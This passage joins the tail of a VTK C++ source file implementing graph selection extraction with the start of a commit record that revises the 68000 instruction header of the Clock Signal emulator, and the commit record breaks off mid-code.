PARTICULAR\n     PURPOSE.  See the above copyright notice for more information.\n\n=========================================================================*\/\n\/*----------------------------------------------------------------------------\n Copyright (c) Sandia Corporation\n See Copyright.txt or http:\/\/www.paraview.org\/HTML\/Copyright.html for details.\n----------------------------------------------------------------------------*\/\n\n#include \"vtkExtractSelectedGraph.h\"\n\n#include \"vtkCellData.h\"\n#include \"vtkCommand.h\"\n#include \"vtkConvertSelection.h\"\n#include \"vtkDataArray.h\"\n#include \"vtkEventForwarderCommand.h\"\n#include \"vtkExtractSelection.h\"\n#include \"vtkGraph.h\"\n#include \"vtkGraphIdList.h\"\n#include \"vtkIdTypeArray.h\"\n#include \"vtkInformation.h\"\n#include \"vtkInformationVector.h\"\n#include \"vtkObjectFactory.h\"\n#include \"vtkPointData.h\"\n#include \"vtkSelection.h\"\n#include \"vtkSignedCharArray.h\"\n#include \"vtkSmartPointer.h\"\n#include \"vtkStringArray.h\"\n\n#include <vtksys\/stl\/map>\nusing vtksys_stl::map;\n\nvtkCxxRevisionMacro(vtkExtractSelectedGraph, \"1.12\");\nvtkStandardNewMacro(vtkExtractSelectedGraph);\n\nvtkExtractSelectedGraph::vtkExtractSelectedGraph()\n{\n  this->SetNumberOfInputPorts(2);\n  this->RemoveIsolatedVertices = true;\n}\n\nvtkExtractSelectedGraph::~vtkExtractSelectedGraph()\n{\n}\n\nint vtkExtractSelectedGraph::FillInputPortInformation(int port, vtkInformation* info)\n{\n  if (port == 0)\n    {\n    info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkAbstractGraph\");\n    return 1;\n    }\n  else if (port == 1)\n    {\n    info->Set(vtkAlgorithm::INPUT_REQUIRED_DATA_TYPE(), \"vtkSelection\");\n    return 1;\n    }\n  return 0;\n}\n\nvoid vtkExtractSelectedGraph::SetSelectionConnection(vtkAlgorithmOutput* in)\n{\n  this->SetInputConnection(1, in);\n}\n\nint vtkExtractSelectedGraph::RequestData(\n  vtkInformation* vtkNotUsed(request), \n  vtkInformationVector** inputVector, \n  vtkInformationVector* outputVector)\n{\n  vtkAbstractGraph* input = vtkAbstractGraph::GetData(inputVector[0]);\n  vtkSelection* selection = vtkSelection::GetData(inputVector[1]);\n\n  \/\/ If there is nothing in the list, there is nothing to select.\n  vtkAbstractArray* list = selection->GetSelectionList();\n  if (!list || list->GetNumberOfTuples() == 0)\n    {\n    return 1;\n    }\n\n  bool inverse = false;\n  if(selection->GetProperties()->Has(vtkSelection::INVERSE()))\n    {\n    inverse = selection->GetProperties()->Get(vtkSelection::INVERSE());\n    }\n  \n  \/\/ If it is a selection with multiple parts, find a point or cell\n  \/\/ child selection, with preference to points.\n  if (selection->GetContentType() == vtkSelection::SELECTIONS)\n    {\n    vtkSelection* child = 0;\n    for (unsigned int i = 0; i < selection->GetNumberOfChildren(); i++)\n      {\n      vtkSelection* cur = selection->GetChild(i);\n      if (cur->GetFieldType() == vtkSelection::POINT)\n        {\n        child = cur;\n        break;\n        }\n      else if (cur->GetFieldType() == vtkSelection::CELL)\n        {\n        child = cur;\n        }\n      }\n    selection = child;\n    }\n    \n  \/\/ Convert the selection to an INDICES selection\n  vtkSelection* indexSelection = \n    vtkConvertSelection::ToIndexSelection(selection, input);\n  if (!indexSelection)\n    {\n    vtkErrorMacro(\"Selection conversion to INDICES failed.\");\n    indexSelection->Delete();\n    return 0;\n    }\n  \n  vtkAbstractArray* arr = indexSelection->GetSelectionList();\n  if (arr == NULL)\n    {\n    vtkErrorMacro(\"Selection list not found.\");\n    return 0;\n    }\n  vtkIdTypeArray* selectArr = vtkIdTypeArray::SafeDownCast(arr);\n  if (selectArr == NULL)\n    {\n    vtkErrorMacro(\"Selection list must be of type vtkIdTypeArray.\");\n    return 0;\n    }\n  vtkIdType selectSize = selectArr->GetNumberOfTuples();\n  \n  vtkGraph* output = vtkGraph::GetData(outputVector);\n\n  output->SetDirected(input->GetDirected());\n  output->GetFieldData()->PassData(input->GetFieldData());\n\n\n  if (selection->GetProperties()->Has(vtkSelection::FIELD_TYPE()) && \n      selection->GetProperties()->Get(vtkSelection::FIELD_TYPE()) == vtkSelection::CELL)\n    {\n    \/\/\n    \/\/ Edge selection\n    \/\/\n    \n    \/\/ Copy all vertices\n    output->SetNumberOfVertices(input->GetNumberOfVertices());\n        \n    vtkCellData* inputEdgeData = input->GetEdgeData();\n    vtkCellData* outputEdgeData = output->GetEdgeData();\n    outputEdgeData->CopyAllocate(inputEdgeData);\n\n    \/\/ Copy unselected edges\n    if(inverse)\n      {\n      for (vtkIdType i = 0; i < inputEdgeData->GetNumberOfTuples(); i++)\n        {\n        if(selectArr->LookupValue(i) < 0 )\n          {\n          vtkIdType source = input->GetSourceVertex(i);\n          vtkIdType target = input->GetTargetVertex(i);\n          vtkIdType outputEdge = output->AddEdge(source, target);\n          outputEdgeData->CopyData(inputEdgeData, i, outputEdge);\n          }\n        }\n      }\n    \/\/ Copy selected edges\n    else\n      {\n      for (vtkIdType i = 0; i < selectSize; i++)\n        {\n        vtkIdType inputEdge = selectArr->GetValue(i);\n        if (inputEdge < input->GetNumberOfEdges())\n          {\n          vtkIdType source = input->GetSourceVertex(inputEdge);\n          vtkIdType target = input->GetTargetVertex(inputEdge);\n          vtkIdType outputEdge = output->AddEdge(source, target);\n          outputEdgeData->CopyData(inputEdgeData, inputEdge, outputEdge);\n          }\n        }\n      }\n\n    \/\/ Remove isolated vertices\n    if (this->RemoveIsolatedVertices)\n      {\n      output->GetVertexData()->DeepCopy(input->GetVertexData());\n      output->GetPoints()->DeepCopy(input->GetPoints());\n      vtkIdTypeArray* isolated = vtkIdTypeArray::New();\n      for (vtkIdType i = 0; i < output->GetNumberOfVertices(); i++)\n        {\n        if (output->GetDegree(i) == 0)\n          {\n          isolated->InsertNextValue(i);\n          }\n        }\n      output->RemoveVertices(isolated->GetPointer(0), isolated->GetNumberOfTuples());\n      isolated->Delete();\n      }\n    else\n      {\n      output->GetVertexData()->PassData(input->GetVertexData());\n      output->GetPoints()->ShallowCopy(input->GetPoints());\n      }\n    }\n  else\n    {\n    \/\/\n    \/\/ Vertex selection\n    \/\/\n    \n    double pt[3];\n    vtkPoints* inputPoints = input->GetPoints();\n    vtkPoints* outputPoints = vtkPoints::New();\n    vtkPointData* inputVertexData = input->GetVertexData();\n    vtkPointData* outputVertexData = output->GetVertexData();\n    outputVertexData->CopyAllocate(inputVertexData);\n    map<vtkIdType, vtkIdType> idMap;\n\n    \/\/ Copy unselected vertices\n    if(inverse)\n      {\n      for (vtkIdType i = 0; i < inputVertexData->GetNumberOfTuples(); i++)\n        {\n        if(selectArr->LookupValue(i) < 0)\n          {\n          vtkIdType outputVertex = output->AddVertex();\n          outputVertexData->CopyData(inputVertexData, i, outputVertex);\n          idMap[i] = outputVertex;\n          inputPoints->GetPoint(i, pt);\n          outputPoints->InsertNextPoint(pt);\n          }\n        }\n      }\n    \/\/ Copy selected vertices\n    else\n      {\n      for (vtkIdType i = 0; i < selectSize; i++)\n        {\n        vtkIdType inputVertex = selectArr->GetValue(i);\n        if (inputVertex < input->GetNumberOfVertices())\n          {\n          vtkIdType outputVertex = output->AddVertex();\n          outputVertexData->CopyData(inputVertexData, inputVertex, outputVertex);\n          idMap[inputVertex] = outputVertex;\n          inputPoints->GetPoint(inputVertex, pt);\n          outputPoints->InsertNextPoint(pt);\n          }\n        }\n      }\n    output->SetPoints(outputPoints);\n    outputPoints->Delete();\n    \n    \/\/ Make a directed shallow copy of the graph so GetOutEdges()\n    \/\/ returns every edge no more than once.\n    vtkAbstractGraph* copy = input;\n    bool madeCopy = false;\n    if (vtkGraph::SafeDownCast(input) && !input->GetDirected())\n      {\n      copy = vtkGraph::New();\n      copy->ShallowCopy(input);\n      vtkGraph::SafeDownCast(copy)->SetDirected(true);\n      madeCopy = true;\n      }\n  \n    vtkCellData* inputEdgeData = input->GetEdgeData();\n    vtkCellData* outputEdgeData = output->GetEdgeData();\n    outputEdgeData->CopyAllocate(inputEdgeData);\n    vtkGraphIdList* edgeList = vtkGraphIdList::New();\n\n    \/\/ Copy any edges that connect UNSELECTED vertices\n    if(inverse)\n      {\n      map<vtkIdType, vtkIdType>::iterator mapIter = idMap.begin();\n      while(mapIter != idMap.end())\n        {\n        vtkIdType inputVertex = mapIter->first;\n        vtkIdType outputVertex = mapIter->second;\n        copy->GetOutEdges(inputVertex, edgeList);\n        for (vtkIdType j = 0; j < edgeList->GetNumberOfIds(); j++)\n          {\n          vtkIdType inputEdge = edgeList->GetId(j);\n          vtkIdType oppInputVertex = input->GetOppositeVertex(inputEdge, inputVertex);\n          if (idMap.count(oppInputVertex) > 0)\n            {\n            vtkIdType oppOutputVertex = idMap[oppInputVertex];\n            vtkIdType outputEdge = output->AddEdge(outputVertex, oppOutputVertex);\n            outputEdgeData->CopyData(inputEdgeData, inputEdge, outputEdge);\n            }\n          }\n        mapIter++;\n        }\n      }\n    \/\/ Copy any edges that connect SELECTED vertices\n    else\n      {\n      for (vtkIdType i = 0; i < selectSize; i++)\n        {\n        vtkIdType inputVertex = selectArr->GetValue(i);\n        if (idMap.count(inputVertex) > 0)\n          {\n          vtkIdType outputVertex = idMap[inputVertex];\n          copy->GetOutEdges(inputVertex, edgeList);\n          for (vtkIdType j = 0; j < edgeList->GetNumberOfIds(); j++)\n            {\n            vtkIdType inputEdge = edgeList->GetId(j);\n            vtkIdType oppInputVertex = input->GetOppositeVertex(inputEdge, inputVertex);\n            if (idMap.count(oppInputVertex) > 0)\n              {\n              vtkIdType oppOutputVertex = idMap[oppInputVertex];\n              vtkIdType outputEdge = output->AddEdge(outputVertex, oppOutputVertex);\n              outputEdgeData->CopyData(inputEdgeData, inputEdge, outputEdge);\n              }\n            }\n          }\n        }\n      }\n    edgeList->Delete();\n    \n    \/\/ Clean up\n    if (madeCopy)\n      {\n      copy->Delete();\n      }\n    }\n\n  \/\/ Clean up\n  output->Squeeze();\n  indexSelection->Delete();\n\n  return 1;\n}\n\nvoid vtkExtractSelectedGraph::PrintSelf(ostream& os, vtkIndent indent)\n{\n  this->Superclass::PrintSelf(os, indent);\n  os << indent << \"RemoveIsolatedVertices: \" \n     << (this->RemoveIsolatedVertices ? \"on\" : \"off\") << endl;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/  Instruction.hpp\n\/\/  Clock Signal\n\/\/\n\/\/  Created by Thomas Harte on 10\/04\/2022.\n\/\/  Copyright © 2022 Thomas Harte. All rights reserved.\n\/\/\n\n#ifndef InstructionSets_68k_Instruction_hpp\n#define InstructionSets_68k_Instruction_hpp\n\n#include <cstdint>\n#include \"Model.hpp\"\n\nnamespace InstructionSet {\nnamespace M68k {\n\nenum class Operation: uint8_t {\n\tUndefined,\n\n\tNOP,\n\n\tABCD,\tSBCD,\tNBCD,\n\n\tADDb,\tADDw,\tADDl,\n\tADDAw,\tADDAl,\n\tADDXb,\tADDXw,\tADDXl,\n\n\tSUBb,\tSUBw,\tSUBl,\n\tSUBAw,\tSUBAl,\n\tSUBXb,\tSUBXw,\tSUBXl,\n\n\tMOVEb,\tMOVEw,\tMOVEl,\n\tMOVEAw,\tMOVEAl,\n\tLEA,\tPEA,\n\n\tMOVEtoSR, MOVEfromSR,\n\tMOVEtoCCR,\n\tMOVEtoUSP, MOVEfromUSP,\n\n\tORItoSR,\tORItoCCR,\n\tANDItoSR,\tANDItoCCR,\n\tEORItoSR,\tEORItoCCR,\n\n\tBTST,\tBCLR,\n\tBCHG,\tBSET,\n\n\tCMPb,\tCMPw,\tCMPl,\n\tCMPAw,\tCMPAl,\n\tTSTb,\tTSTw,\tTSTl,\n\n\tJMP,\n\tJSR,\tRTS,\n\tDBcc,\n\tScc,\n\n\tBccb,\tBccl,\tBccw,\n\tBSRb,\tBSRl,\tBSRw,\n\n\tCLRb, CLRw, CLRl,\n\tNEGXb, NEGXw, NEGXl,\n\tNEGb, NEGw, NEGl,\n\n\tASLb, ASLw, ASLl, ASLm,\n\tASRb, ASRw, ASRl, ASRm,\n\tLSLb, LSLw, LSLl, LSLm,\n\tLSRb, LSRw, LSRl, LSRm,\n\tROLb, ROLw, ROLl, ROLm,\n\tRORb, RORw, RORl, RORm,\n\tROXLb, ROXLw, ROXLl, ROXLm,\n\tROXRb, ROXRw, ROXRl, ROXRm,\n\n\tMOVEMl, MOVEMw,\n\tMOVEPl, MOVEPw,\n\n\tANDb,\tANDw,\tANDl,\n\tEORb,\tEORw,\tEORl,\n\tNOTb, \tNOTw, \tNOTl,\n\tORb,\tORw,\tORl,\n\n\tMULU,\tMULS,\n\tDIVU,\tDIVS,\n\n\tRTE,\tRTR,\n\n\tTRAP,\tTRAPV,\n\tCHK,\n\n\tEXG,\tSWAP,\n\n\tTAS,\n\n\tEXTbtow,\tEXTwtol,\n\n\tLINKw,\tUNLINK,\n\n\tSTOP,\tRESET,\n\n\tMax = RESET\n};\n\ntemplate <Model model>\nconstexpr bool requires_supervisor(Operation op) {\n\tswitch(op) {\n\t\tcase Operation::MOVEfromSR:\n\t\t\tif constexpr (model == Model::M68000) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t[[fallthrough]];\n\t\tcase Operation::ORItoSR:\tcase Operation::ANDItoSR:\n\t\tcase Operation::EORItoSR:\tcase Operation::RTE:\n\t\tcase Operation::RESET:\t\tcase Operation::STOP:\n\t\tcase Operation::MOVEtoUSP:\tcase Operation::MOVEfromUSP:\n\t\t\treturn true;\n\n\t\tdefault:\n\t\t\treturn false;\n\t}\n}\n\nconstexpr int size(Operation operation) {\n\t\/\/ TODO: most of this table, once I've settled on what stays in\n\t\/\/ the Operation table and what doesn't.\n\tswitch(operation) {\n\t\tcase Operation::ADDb:\tcase Operation::ADDXb:\n\t\tcase Operation::SUBb:\tcase Operation::SUBXb:\n\t\tcase Operation::ORItoCCR:\n\t\tcase Operation::ANDItoCCR:\n\t\tcase Operation::EORItoCCR:\n\t\t\treturn 1;\n\n\t\tcase Operation::ORItoSR:\n\t\tcase Operation::ANDItoSR:\n\t\tcase Operation::EORItoSR:\n\t\t\treturn 2;\n\n\t\tcase Operation::EXG:\n\t\t\treturn 4;\n\n\t\tdefault:\treturn 0;\n\t}\n}\n\ntemplate <Operation op>\nconstexpr int8_t quick(uint16_t instruction) {\n\tswitch(op) {\n\t\tcase Operation::Bccb:\n\t\tcase Operation::BSRb:\n\t\tcase Operation::MOVEl:\treturn int8_t(instruction);\n\t\tcase Operation::TRAP:\treturn int8_t(instruction & 15);\n\t\tdefault: {\n\t\t\tint8_t value = (instruction >> 9) & 7;\n\t\t\tvalue |= (value - 1)&8;\n\t\t\treturn value;\n\t\t}\n\t}\n}\n\nconstexpr int8_t quick(Operation op, uint16_t instruction) {\n\tswitch(op) {\n\t\tcase Operation::MOVEl:\treturn quick<Operation::MOVEl>(instruction);\n\t\tcase Operation::Bccb:\treturn quick<Operation::Bccb>(instruction);\n\t\tcase Operation::BSRb:\treturn quick<Operation::BSRb>(instruction);\n\t\tcase Operation::TRAP:\treturn quick<Operation::TRAP>(instruction);\n\n\t\tdefault:\n\t\t\t\/\/ ADDw is arbitrary; anything other than those listed above will do.\n\t\t\treturn quick<Operation::ADDw>(instruction);\n\t}\n}\n\n\/\/\/ Indicates the addressing mode applicable to an operand.\n\/\/\/\n\/\/\/ Implementation notes:\n\/\/\/\n\/\/\/ Those entries starting 0b00 or 0b01 are mapped as per the 68000's native encoding;\n\/\/\/ those starting 0b00 are those which are indicated directly by a mode field and those starting\n\/\/\/ 0b01 are those which are indicated by a register field given a mode of 0b111. The only minor\n\/\/\/ exception is AddressRegisterDirect, which exists on a 68000  but isn't specifiable by a\n\/\/\/ mode and register, it's contextual based on the instruction.\n\/\/\/\n\/\/\/ Those modes starting in 0b10 are the various extended addressing modes introduced as\n\/\/\/ of the 68020, which can be detected only after interpreting an extension word. At the\n\/\/\/ Preinstruction stage:\n\/\/\/\n\/\/\/\t* AddressRegisterIndirectWithIndexBaseDisplacement, MemoryIndirectPostindexed\n\/\/\/\t\tand MemoryIndirectPreindexed will have been partially decoded as\n\/\/\/\t\tAddressRegisterIndirectWithIndex8bitDisplacement; and\n\/\/\/\t* ProgramCounterIndirectWithIndexBaseDisplacement,\n\/\/\/\t\tProgramCounterMemoryIndirectPostindexed and\n\/\/\/\t\tProgramCounterMemoryIndirectPreindexed will have been partially decoded\n\/\/\/\t\tas ProgramCounterIndirectWithIndex8bitDisplacement.\nenum class AddressingMode: uint8_t {\n\t\/\/\/ No adddressing mode; this operand doesn't exist.\n\tNone\t\t\t\t\t\t\t\t\t\t\t\t= 0b01'101,\n\n\t\/\/\/ Dn\n\tDataRegisterDirect\t\t\t\t\t\t\t\t\t= 0b00'000,\n\n\t\/\/\/ An\n\tAddressRegisterDirect\t\t\t\t\t\t\t\t= 0b00'001,\n\t\/\/\/ (An)\n\tAddressRegisterIndirect\t\t\t\t\t\t\t\t= 0b00'010,\n\t\/\/\/ (An)+\n\tAddressRegisterIndirectWithPostincrement\t\t\t= 0b00'011,\n\t\/\/\/ -(An)\n\tAddressRegisterIndirectWithPredecrement\t\t\t\t= 0b00'100,\n\t\/\/\/ (d16, An)\n\tAddressRegisterIndirectWithDisplacement\t\t\t\t= 0b00'101,\n\t\/\/\/ (d8, An, Xn)\n\tAddressRegisterIndirectWithIndex8bitDisplacement\t= 0b00'110,\n\t\/\/\/ (bd, An, Xn)\n\tAddressRegisterIndirectWithIndexBaseDisplacement\t= 0b10'000,\n\n\t\/\/\/ ([bd, An, Xn], od)\n\tMemoryIndirectPostindexed\t\t\t\t\t\t\t= 0b10'001,\n\t\/\/\/ ([bd, An], Xn, od)\n\tMemoryIndirectPreindexed\t\t\t\t\t\t\t= 0b10'010,\n\n\t\/\/\/ (d16, PC)\n\tProgramCounterIndirectWithDisplacement\t\t\t\t= 0b01'010,\n\t\/\/\/ (d8, PC, Xn)\n\tProgramCounterIndirectWithIndex8bitDisplacement\t\t= 0b01'011,\n\t\/\/\/ (bd, PC, Xn)\n\tProgramCounterIndirectWithIndexBaseDisplacement\t\t= 0b10'011,\n\t\/\/\/ ([bd, PC, Xn], od)\n\tProgramCounterMemoryIndirectPostindexed\t\t\t\t= 0b10'100,\n\t\/\/\/ ([bc, PC], Xn, od)\n\tProgramCounterMemoryIndirectPreindexed\t\t\t\t= 0b10'101,\n\n\t\/\/\/ (xxx).W\n\tAbsoluteShort\t\t\t\t\t\t\t\t\t\t= 0b01'000,\n\t\/\/\/ (xxx).L\n\tAbsoluteLong\t\t\t\t\t\t\t\t\t\t= 0b01'001,\n\n\t\/\/\/ #\n\tImmediateData\t\t\t\t\t\t\t\t\t\t= 0b01'100,\n\n\t\/\/\/ .q; value is embedded in the opcode.\n\tQuick\t\t\t\t\t\t\t\t\t\t\t\t= 0b01'110,\n};\n\n\/*!\n\tA preinstruction is as much of an instruction as can be decoded with\n\tonly the first instruction word — i.e. an operation, and:\n\n\t* on the 68000 and 68010, the complete addressing modes;\n\t* on subsequent, a decent proportion of the addressing mode. See\n\t\tthe notes on @c AddressingMode for potential aliasing.\n*\/\nclass Preinstruction {\n\tpublic:\n\t\tOperation operation = Operation::Undefined;\n\n\t\t\/\/ Instructions come with 0, 1 or 2 operands;\n\t\t\/\/ the getters below act to provide a list of operands\n\t\t\/\/ that is terminated by an AddressingMode::None.\n\t\t\/\/\n\t\t\/\/ For two-operand instructions, argument 0 is a source\n\t\t\/\/ and argument 1 is a destination.\n\t\t\/\/\n\t\t\/\/ For one-operand instructions, only argument 0 will\n\t\t\/\/ be provided, and will be a source and\/or destination as\n\t\t\/\/ per the semantics of the operation.\n\n\t\ttemplate <int index> AddressingMode mode() const {\n\t\t\tif constexpr (index > 1) {\n\t\t\t\treturn AddressingMode::None;\n\t\t\t}\n\t\t\treturn AddressingMode(operands_[index] & 0x1f);\n\t\t}\n\t\ttemplate <int index> int reg() const {\n\t\t\tif constexpr (index > 1) {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t\treturn operands_[index] >> 5;\n\t\t}\n\n\tprivate:\n\t\tuint8_t operands_[2] = { uint8_t(AddressingMode::None), uint8_t(AddressingMode::None)};\n\n\tpublic:\n\t\tPreinstruction(\n\t\t\tOperation operation,\n\t\t\tAddressingMode op1_mode,\tint op1_reg,\n\t\t\tAddressingMode op2_mode,\tint op2_reg,\n\t\t\t[[maybe_unused]] bool is_supervisor = false) : operation(operation)\n\t\t{\n\t\t\toperands_[0] = uint8_t(op1_mode) | uint8_t(op1_reg << 5);\n\t\t\toperands_[1] = uint8_t(op2_mode) | uint8_t(op2_reg << 5);\n\t\t}\n\n\t\tPreinstruction(Operation operation, [[maybe_unused]] bool is_supervisor = false) : operation(operation) {}\n\n\t\tPreinstruction(Operation operation, AddressingMode op1_mode, int op1_reg, [[maybe_unused]] bool is_supervisor = false) : operation(operation) {\n\t\t\toperands_[0] = uint8_t(op1_mode) | uint8_t(op1_reg << 5);\n\t\t}\n\n\t\t\/\/ TODO: record is_supervisor.\n\n\t\tPreinstruction() {}\n};\n\n}\n}\n\n#endif \/* InstructionSets_68k_Instruction_hpp *\/\n<commit_msg>Fill in size table, define `quick` to return a `uint32_t`.<commit_after>\/\/\n\/\/  Instruction.hpp\n\/\/  Clock Signal\n\/\/\n\/\/  Created by Thomas Harte on 10\/04\/2022.\n\/\/  Copyright © 2022 Thomas Harte. All rights reserved.\n\/\/\n\n#ifndef InstructionSets_68k_Instruction_hpp\n#define InstructionSets_68k_Instruction_hpp\n\n#include <cstdint>\n#include \"Model.hpp\"\n\nnamespace InstructionSet {\nnamespace M68k {\n\nenum class Operation: uint8_t {\n\tUndefined,\n\n\tNOP,\n\n\tABCD,\tSBCD,\tNBCD,\n\n\tADDb,\tADDw,\tADDl,\n\tADDAw,\tADDAl,\n\tADDXb,\tADDXw,\tADDXl,\n\n\tSUBb,\tSUBw,\tSUBl,\n\tSUBAw,\tSUBAl,\n\tSUBXb,\tSUBXw,\tSUBXl,\n\n\tMOVEb,\tMOVEw,\tMOVEl,\n\tMOVEAw,\tMOVEAl,\n\tLEA,\tPEA,\n\n\tMOVEtoSR, MOVEfromSR,\n\tMOVEtoCCR,\n\tMOVEtoUSP, MOVEfromUSP,\n\n\tORItoSR,\tORItoCCR,\n\tANDItoSR,\tANDItoCCR,\n\tEORItoSR,\tEORItoCCR,\n\n\tBTST,\tBCLR,\n\tBCHG,\tBSET,\n\n\tCMPb,\tCMPw,\tCMPl,\n\tCMPAw,\tCMPAl,\n\tTSTb,\tTSTw,\tTSTl,\n\n\tJMP,\n\tJSR,\tRTS,\n\tDBcc,\n\tScc,\n\n\tBccb,\tBccw,\tBccl,\n\tBSRb,\tBSRw,\tBSRl,\n\n\tCLRb, CLRw, CLRl,\n\tNEGXb, NEGXw, NEGXl,\n\tNEGb, NEGw, NEGl,\n\n\tASLb, ASLw, ASLl, ASLm,\n\tASRb, ASRw, ASRl, ASRm,\n\tLSLb, LSLw, LSLl, LSLm,\n\tLSRb, LSRw, LSRl, LSRm,\n\tROLb, ROLw, ROLl, ROLm,\n\tRORb, RORw, RORl, RORm,\n\tROXLb, ROXLw, ROXLl, ROXLm,\n\tROXRb, ROXRw, ROXRl, ROXRm,\n\n\tMOVEMl, MOVEMw,\n\tMOVEPl, MOVEPw,\n\n\tANDb,\tANDw,\tANDl,\n\tEORb,\tEORw,\tEORl,\n\tNOTb, \tNOTw, \tNOTl,\n\tORb,\tORw,\tORl,\n\n\tMULU,\tMULS,\n\tDIVU,\tDIVS,\n\n\tRTE,\tRTR,\n\n\tTRAP,\tTRAPV,\n\tCHK,\n\n\tEXG,\tSWAP,\n\n\tTAS,\n\n\tEXTbtow,\tEXTwtol,\n\n\tLINKw,\tUNLINK,\n\n\tSTOP,\tRESET,\n\n\tMax = RESET\n};\n\ntemplate <Model model>\nconstexpr bool requires_supervisor(Operation op) {\n\tswitch(op) {\n\t\tcase Operation::MOVEfromSR:\n\t\t\tif constexpr (model == Model::M68000) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t[[fallthrough]];\n\t\tcase Operation::ORItoSR:\tcase Operation::ANDItoSR:\n\t\tcase Operation::EORItoSR:\tcase Operation::RTE:\n\t\tcase Operation::RESET:\t\tcase Operation::STOP:\n\t\tcase Operation::MOVEtoUSP:\tcase Operation::MOVEfromUSP:\n\t\t\treturn true;\n\n\t\tdefault:\n\t\t\treturn false;\n\t}\n}\n\nenum class DataSize {\n\tByte = 0,\n\tWord = 1,\n\tLongWord = 2,\n};\n\n\/\/\/ Classifies operations by the size of their memory accesses, if any.\nconstexpr DataSize size(Operation operation) {\n\tswitch(operation) {\n\t\t\/\/ These are given a value arbitrarily, to\n\t\t\/\/ complete the switch statement.\n\t\tcase Operation::Undefined:\n\t\tcase Operation::NOP:\n\t\tcase Operation::STOP:\n\t\tcase Operation::RESET:\n\t\tcase Operation::RTE:\tcase Operation::RTR:\n\t\tcase Operation::TRAP:\n\t\tcase Operation::TRAPV:\n\n\t\tcase Operation::ABCD:\tcase Operation::SBCD:\n\t\tcase Operation::NBCD:\n\t\tcase Operation::ADDb:\tcase Operation::ADDXb:\n\t\tcase Operation::SUBb:\tcase Operation::SUBXb:\n\t\tcase Operation::MOVEb:\n\t\tcase Operation::ORItoCCR:\n\t\tcase Operation::ANDItoCCR:\n\t\tcase Operation::EORItoCCR:\n\t\tcase Operation::BTST:\tcase Operation::BCLR:\n\t\tcase Operation::BCHG:\tcase Operation::BSET:\n\t\tcase Operation::CMPb:\tcase Operation::TSTb:\n\t\tcase Operation::Bccb:\tcase Operation::BSRb:\n\t\tcase Operation::CLRb:\n\t\tcase Operation::NEGXb:\tcase Operation::NEGb:\n\t\tcase Operation::ASLb:\tcase Operation::ASRb:\n\t\tcase Operation::LSLb:\tcase Operation::LSRb:\n\t\tcase Operation::ROLb:\tcase Operation::RORb:\n\t\tcase Operation::ROXLb:\tcase Operation::ROXRb:\n\t\tcase Operation::ANDb:\tcase Operation::EORb:\n\t\tcase Operation::NOTb:\tcase Operation::ORb:\n\t\tcase Operation::CHK:\n\t\tcase Operation::TAS:\n\t\t\treturn DataSize::Byte;\n\n\t\tcase Operation::ADDw:\tcase Operation::ADDAw:\n\t\tcase Operation::ADDXw:\tcase Operation::SUBw:\n\t\tcase Operation::SUBAw:\tcase Operation::SUBXw:\n\t\tcase Operation::MOVEw:\tcase Operation::MOVEAw:\n\t\tcase Operation::ORItoSR:\n\t\tcase Operation::ANDItoSR:\n\t\tcase Operation::EORItoSR:\n\t\tcase Operation::MOVEtoSR:\n\t\tcase Operation::MOVEfromSR:\n\t\tcase Operation::MOVEtoCCR:\n\t\tcase Operation::CMPw:\tcase Operation::CMPAw:\n\t\tcase Operation::TSTw:\n\t\tcase Operation::DBcc:\tcase Operation::Scc:\n\t\tcase Operation::Bccw:\tcase Operation::BSRw:\n\t\tcase Operation::CLRw:\n\t\tcase Operation::NEGXw:\tcase Operation::NEGw:\n\t\tcase Operation::ASLw:\tcase Operation::ASLm:\n\t\tcase Operation::ASRw:\tcase Operation::ASRm:\n\t\tcase Operation::LSLw:\tcase Operation::LSLm:\n\t\tcase Operation::LSRw:\tcase Operation::LSRm:\n\t\tcase Operation::ROLw:\tcase Operation::ROLm:\n\t\tcase Operation::RORw:\tcase Operation::RORm:\n\t\tcase Operation::ROXLw:\tcase Operation::ROXLm:\n\t\tcase Operation::ROXRw:\tcase Operation::ROXRm:\n\t\tcase Operation::MOVEMw:\n\t\tcase Operation::MOVEPw:\n\t\tcase Operation::ANDw:\tcase Operation::EORw:\n\t\tcase Operation::NOTw:\tcase Operation::ORw:\n\t\tcase Operation::DIVU:\tcase Operation::DIVS:\n\t\tcase Operation::MULU:\tcase Operation::MULS:\n\t\tcase Operation::EXTbtow:\n\t\tcase Operation::LINKw:\n\t\t\treturn DataSize::Word;\n\n\t\tcase Operation::ADDl:\tcase Operation::ADDAl:\n\t\tcase Operation::ADDXl:\tcase Operation::SUBl:\n\t\tcase Operation::SUBAl:\tcase Operation::SUBXl:\n\t\tcase Operation::MOVEl:\tcase Operation::MOVEAl:\n\t\tcase Operation::LEA:\tcase Operation::PEA:\n\t\tcase Operation::EXG:\tcase Operation::SWAP:\n\t\tcase Operation::MOVEtoUSP:\n\t\tcase Operation::MOVEfromUSP:\n\t\tcase Operation::CMPl:\tcase Operation::CMPAl:\n\t\tcase Operation::TSTl:\n\t\tcase Operation::JMP:\tcase Operation::JSR:\n\t\tcase Operation::RTS:\n\t\tcase Operation::Bccl:\tcase Operation::BSRl:\n\t\tcase Operation::CLRl:\n\t\tcase Operation::NEGXl:\tcase Operation::NEGl:\n\t\tcase Operation::ASLl:\tcase Operation::ASRl:\n\t\tcase Operation::LSLl:\tcase Operation::LSRl:\n\t\tcase Operation::ROLl:\tcase Operation::RORl:\n\t\tcase Operation::ROXLl:\tcase Operation::ROXRl:\n\t\tcase Operation::MOVEMl:\n\t\tcase Operation::MOVEPl:\n\t\tcase Operation::ANDl:\tcase Operation::EORl:\n\t\tcase Operation::NOTl:\tcase Operation::ORl:\n\t\tcase Operation::EXTwtol:\n\t\tcase Operation::UNLINK:\n\t\t\treturn DataSize::LongWord;\n\t}\n}\n\ntemplate <Operation op>\nconstexpr uint32_t quick(uint16_t instruction) {\n\tswitch(op) {\n\t\tcase Operation::Bccb:\n\t\tcase Operation::BSRb:\n\t\tcase Operation::MOVEl:\treturn uint32_t(int8_t(instruction));\n\t\tcase Operation::TRAP:\treturn uint32_t(instruction & 15);\n\t\tdefault: {\n\t\t\tuint32_t value = (instruction >> 9) & 7;\n\t\t\tvalue |= (value - 1)&8;\n\t\t\treturn value;\n\t\t}\n\t}\n}\n\nconstexpr uint32_t quick(Operation op, uint16_t instruction) {\n\tswitch(op) {\n\t\tcase 